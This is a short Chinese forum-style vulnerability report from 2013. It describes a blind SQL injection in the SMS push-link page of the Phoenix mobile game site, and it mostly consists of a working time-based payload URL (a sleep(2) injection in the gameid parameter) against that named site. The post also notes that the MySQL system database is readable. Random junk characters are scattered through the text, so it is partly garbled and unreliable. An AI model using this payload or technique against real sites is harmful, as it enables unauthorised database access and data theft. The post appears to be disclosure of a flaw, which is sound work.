简要描述：
1 E2 Z ^# ?2 N3 N3 h& O; [7 h凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
# t& M- N7 A3 \) K- i9 c# b6 [" G. P2 b, g) M5 G' o; m1 Y
详细说明：- S9 M# x, x& ~, i! b# m
存在SQL盲注url:
1 I+ g/ d3 b' Z5 v! i3 Cfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
2 f0 w6 w+ j3 @ `3 Chttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png" f. B# D2 a0 Z
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png" H3 c; i( Y6 _# Q4 h
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg0 S- v1 F' r( U! g; E
- A( {' H6 a; k0 I能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对